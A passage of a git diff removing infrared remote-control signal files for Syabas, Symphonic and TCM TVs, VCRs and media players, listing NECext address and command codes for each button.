a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 01 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 03 00 00 00 -# -name: KEY_ARCHIVE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 07 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 09 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 0A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 0D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 0E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 11 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 12 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 13 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 15 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 17 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 1A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 1B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 1D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 41 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 42 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 43 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 46 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 47 00 00 00 -# -name: KEY_FILE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 48 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4C 00 00 00 -# -name: KEY_SUSPEND -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4D 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4E 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 4F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 51 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 52 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 53 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 54 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 55 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 56 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 57 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 58 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 59 00 00 00 -# -name: KEY_CAPSLOCK -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 5A 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 5B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 5C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 CB 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir deleted file mode 100644 index ee552b832..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SET_+ -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 06 00 00 00 -# -name: SET_- -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 07 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 08 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 0B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 1F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 20 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 21 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 22 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 23 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 24 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 25 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 26 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 27 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 29 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 2F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 30 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 31 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir deleted file mode 100644 index ce5e3c7f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 00 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 06 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 07 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0C 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0D 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0E 00 00 00 -# -name: ADD/DELETE -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0F 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 14 00 00 00 -# -name: TAPE_COUNTER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 14 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 15 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1F 00 00 00 -# -name: POWER/TIMER_RECORD -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 20 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 21 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 22 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 23 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 24 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 25 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 26 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 27 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 29 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 39 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir deleted file mode 100644 index 92ed9560b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: +100 -type: parsed -protocol: NECext -address: 2C 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir deleted file mode 100644 index bb334636a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: txt-clr -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: txt-large -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: txt-hold -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: clr -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir deleted file mode 100644 index 7d173df9d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AV -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: WHITE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: PURPLE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: TEXT2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: TEXT4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: TEXT1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: TEXT3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir deleted file mode 100644 index 3dccb9058..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 0D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 17 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 17 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 20 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 25 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 27 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 49 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 89 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C6 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: F1 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir deleted file mode 100644 index 7e730c99e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 17 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 17 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 18 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 19 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 19 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir deleted file mode 100644 index 738f003b3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: VTSIZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: VTHALF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: 